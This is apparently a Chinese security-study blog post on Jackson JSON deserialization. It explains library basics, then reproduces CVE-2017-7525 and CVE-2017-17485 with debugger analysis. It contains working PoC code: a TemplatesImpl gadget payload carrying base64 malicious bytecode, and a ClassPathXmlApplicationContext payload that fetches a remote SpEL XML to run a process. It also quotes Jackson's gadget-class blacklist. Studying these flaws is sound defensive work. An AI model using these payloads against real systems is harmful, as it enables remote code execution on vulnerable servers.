jackson 反序列化学习
jackson 介绍
Jackson
是一个用于处理 JSON
数据的开源 Java
库。Spring MVC 的默认 json 解析器便是 Jackson
。 Jackson
优点很多。 Jackson
所依赖的 jar 包较少,简单易用。与其他 Java 的 json 的框架 Gson
等相比, Jackson
解析大的 json 文件速度比较快;Jackson
运行时占用内存比较低,性能比较好;Jackson
有灵活的 API,可以很容易进行扩展和定制。
在 Java
领域,Jackson
已经成为处理 JSON
数据的事实标准库。它提供了丰富的功能,包括将 Java
对象转换为 JSON
字符串(序列化
)以及将 JSON
字符串转换为 Java
对象(反序列化
)。
Jackson
主要由三个核心包组成:
jackson-databind
:提供了通用的数据绑定功能(将Java对象与JSON数据相互转换)jackson-core
:提供了核心的低级JSON处理API(例如JsonParser和JsonGenerator)jackson-annotations
:提供了用于配置数据绑定的注解
jackson 依赖
<dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.9.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.9.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-annotations</artifactId><version>2.9.3</version></dependency>
</dependencies>
jackson 中的常用 API
ObjectMapper
Jackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper:
- ObjectMapper可以从字符串,流或文件中解析JSON,并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。
- ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。
- Object映射器可以将JSON解析为自定义的类的对象,也可以解析置JSON树模型的对象。
之所以称为ObjectMapper是因为它将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)。
序列化:将Java
对象转换为JSON字符串
的过程。这在许多场景中非常有用,例如在将数据发送到Web客户端时,或者在将数据存储到文件或数据库时。Jackson
通过ObjectMapper
类来实现序列化。
demo:
package org.example; import com.fasterxml.jackson.databind.ObjectMapper; public class Main { public String name; public int age; public Main(String name, int age) { this.name = name; this.age = age; } public static void main(String[] args) { ObjectMapper objectMapper = new ObjectMapper(); Main person = new Main("gaoren", 35); try { String jsonString = objectMapper.writeValueAsString(person); System.out.println(jsonString); } catch (Exception e) { e.printStackTrace(); } }
}
得到结果:
反序列化:将 JSON
字符串转换回Java对象的过程。这在从 Web
客户端接收数据或从文件或数据库读取数据时非常有用。同样,Jackson
使用 ObjectMapper
类来实现反序列化。
demo:
package org.example; import com.fasterxml.jackson.databind.ObjectMapper; public class deser { public String name; public int age; public deser() { } public static void main(String[] args) { ObjectMapper objectMapper = new ObjectMapper(); String jsonString = "{\"name\":\"gaoren\",\"age\":35}"; try { deser person = objectMapper.readValue(jsonString, deser.class); System.out.println("Name: " + person.name + ", Age: " + person.age); } catch (Exception e) { e.printStackTrace(); } }
}
结果:
JsonParser
Jackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器,差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦。
使用JsonParser需要先创建一个JsonFactory
package org.example; import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken; public class deser { public static void main(String[] args){ String json = "{\"name\":\"fakes0u1\",\"age\":123}"; JsonFactory jsonFactory = new JsonFactory(); try { JsonParser parser = jsonFactory.createParser(json); System.out.println(parser); } catch (Exception e ){ e.printStackTrace(); } }
}
class Person1 { private String name; private int age; public Person1() { } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; }
}
运行得到:
一旦创建了Jackson JsonParser,就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌。
使用JsonParser的nextToken()获得一个JsonToken,然后循环打印看看所有的 jsonToken,在得到 parser 后添加下面代码
while(!parser.isClosed()){ JsonToken jsonToken = parser.nextToken(); System.out.println(jsonToken);
运行得到
然后再利用equals方法进行匹配,如果标记的字段名称是相同的就返回其值
返回值可以用 getValueAsString()
,getValueAsInt()
等方法,根据不同的值的类型
package jackson;import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;public class JacksonJsonParser {public static void main(String[] args){String json = "{\"name\":\"fakes0u1\",\"age\":123}";JsonFactory jsonFactory = new JsonFactory();Person1 person1 =new Person1();try{JsonParser parser = jsonFactory.createParser(json);while(!parser.isClosed()){JsonToken jsonToken = parser.nextToken();if (JsonToken.FIELD_NAME.equals(jsonToken)){String fieldName = parser.getCurrentName();System.out.println(fieldName);jsonToken=parser.nextToken();if ("name".equals(fieldName)){person1.name = parser.getValueAsString();}else if ("age".equals(fieldName)){person1.age = parser.getValueAsInt();}}System.out.println("person's name is "+person1.name);System.out.println("person's age is "+person1.age);}}catch (Exception e ){e.printStackTrace();}}
}
class Person1 {public String name;public int age;// 必须提供无参构造函数public Person1() {}// Getters and Setterspublic String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}
JsonGenerator
Jackson JsonGenerator用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON。
同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator
package jackson;import com.fasterxml.jackson.core.*;import java.io.File;public class JacksonJsonParser {public static void main(String[] args){JsonFactory jsonFactory = new JsonFactory();Person1 person1 =new Person1();try{JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);jsonGenerator.writeStartObject();jsonGenerator.writeStringField("name","fakes0u1");jsonGenerator.writeNumberField("age",123);jsonGenerator.writeEndObject();jsonGenerator.close();}catch (Exception e ){e.printStackTrace();}}
}class Person1 {public String name;public int age;// 必须提供无参构造函数public Person1() {}// Getters and Setterspublic String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}
jackson 反序列化流程分析
Jackson的反序列化的过程分为两步 第一步通过构造函数生成实例 第二步是对实例进行设置属性值
调试跟进来到函数_readMapAndClose
调用了 BeanDeserializer#deserialize
方法,
继续跟进 vanillaDeserialize
函数,
跟踪 createUsingDefault
函数,
看到调用 call 方法实现了无参构造函数。返回的 bean 就是实例化后的对象。
然接下来就是进行赋值了。
跟进 deserializeAndSet
方法,
看到在 set
处进行了赋值。剩下的其实都差多的,只是类型不同赋值方法略有差别。
Jackson 反序列化漏洞
前提条件
满足以下三个条件之一存在Jackson反序列化漏洞,需要会触发json中的类解析的注解或者函数
- 调用了ObjectMapper.enableDefaultTyping()函数;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
漏洞原理
当我们使用的JacksonPolymorphicDeserialization
配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法 我们就可以在这里做文章
以要进行反序列化的类的属性是否为Object类分为两种:
一、属性中没有Object类时
我们不能对属性进行操作。我们只能让他的构造函数或者是setter方法中存在危险函数如下
public void setName(String name) { this.name = name; try{ Runtime.getRuntime().exec("calc"); } catch (Exception e ){ e.printStackTrace(); }
}
进行反序列弹出计算机
二、属性中有Object类时
当属性类型为Object时,因为Object类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用。
后面出现的Jackson反序列化的CVE漏洞、黑名单绕过等都是基于这个原理寻找各种符合条件的利用链而已。
这里我们假设目标服务端环境中存在其一个恶意类Evil,其setter方法存在任意代码执行漏洞,存在于 org.example包中:
package org.example; public class Evil { public String cmd; public void setCmd(String cmd) { this.cmd = cmd; try { Runtime.getRuntime().exec("calc"); } catch (Exception e){ e.printStackTrace(); } }
}
Person类,将sex属性改为object属性:
public class Person { public int age; public String name;
// @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) public Object object; public Person() { System.out.println("Person构造函数"); } @Override public String toString() { return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object); }
}
test.java
public class test { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "{\"age\":6,\"name\":\"mi1k7ea\",\"object\":[\"org.example.Evil\",{\"cmd\":\"calc\"}]}"; Person p2 = mapper.readValue(json, Person.class); System.out.println(p2); }
}
运行同理弹出计算机
CVE-2017-7525 TemplatesImpl利用链
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
JDK使用1.7版本的,记得恶意类也得用 1.7 版本的编译。
复现利用
依赖:
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.9</version>
</dependency>
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.7.9</version>
</dependency>
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.7.9</version>
</dependency>
poc.java
package org.example; import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths; public class Main { public static void main(String[] args)throws IOException { String exp = readClassStr("D:/poc.class"); String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "{\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'mi1k7ea',\n" + "'outputProperties':{}\n" + "}\n" + "]\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(jsonInput, Person.class); } catch (Exception e) { e.printStackTrace(); } } public static String aposToQuotes(String json){ return json.replace("'","\""); } public static String readClassStr(String cls){ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try { FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream); } catch (IOException e) { e.printStackTrace(); } return Base64.encode(byteArrayOutputStream.toByteArray()); } } class Person { public Object object;
}
序列化的内容需要自己构造,直接序列化只会得到有 setter 和 getter 方法的属性
运行弹出计算机
调试分析
前面就和上面的反序列化流程一样通过 BeanDeserializer.vanillaDeserialize()
来实例化一个 bean 对象,也就是上面的 Person 对象,然后利用 deserializeAndSet()
函数来解析属性值并设置到该Bean 中。在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值,
但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法:
再往下就是反射调用到了getOutputProperties()。然后剩下的就是 java 的动态类加载了,利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数。
高版本JDK不能触发的原因——_tfactory
在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory
属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性,所以也就没法进行反序列化了。
至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:
static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599] s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是 Person 类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。
CVE-2017-17485 ClassPathXmlApplicationContext利用链
影响版本
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
复现利用
jackson 依赖和上面还是一样的,spring 依赖:
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>5.0.2.RELEASE</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version>
poc.java
package org.example; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class poc { public static void main(String[] args) { String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } }
}
spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
运行弹出计算机
调试分析
利用链是基于org.springframework.context.support.ClassPathXmlApplicationContext
类,利用的原理就是SpEL表达式注入漏洞,
一直跟进到 TypeWrappedDeserializer#deserialize
方法,调用了UntypedObjectDeserializer.deserializeWithType()
跟进该函数,发现回调用 AsArrayTypeDeserializer.deserializeTypedFromAny()
函数,该函数可以解析我们数组形式的 JSON 内容。
一路调用到了 BeanDeserializerBase.deserializeFromString 函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:
跟进 createFromString() 方法,
看到value值为 http://127.0.0.1/spel.xml
,然后调用 _fromStringCreator.call1(value)
来解析配置文件。跟进
继续向下会调用到ClassPathXmlApplicationContext类的构造函数
然后调用 refresh 方法,
注意:前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。
下面我们需要继续调试看ClassPathXmlApplicationContext类的构造函数中是哪里存在有漏洞。
跟进refresh()函数,进行一系列refresh之前的准备操作后,发现调用了 invokeBeanFactoryPostProcessors()
函数,顾名思义,就是调用上下文中注册为beans的工厂处理器:
一直跟进,到达 doGetBeanNamesForType() 函数中,调用isFactoryBean()判断当前beanName是否为FactoryBean
在isFactoryBean()函数中,调用predictBeanType()函数获取Bean类型,
继续跟进,predictBeanType()函数中通过调用determineTargetType()函数来预测Bean类型,
determineTargetType()函数中通过调用 resolveBeanClass() 函数来确定目标类型:
跟进调用doResolveBeanClass()用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,
跟进该函数,
看到已经到了SpEL表达式解析器,跟进后看到,再最下面执行了 SpEl 表达式执行。
总结就是通过反序列化调用到了 org.springframework.context.support.ClassPathXmlApplicationContext
的构造方法,构造方法中的 refresh 中又层层调用到了 SeEL 的表达式执行。
参考:Jackson系列一——反序列化漏洞基本原理
参考:Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)
参考:Jackson系列三——CVE-2017-17485(基于ClassPathXmlApplicationContext利用链)
参考:https://xz.aliyun.com/t/12966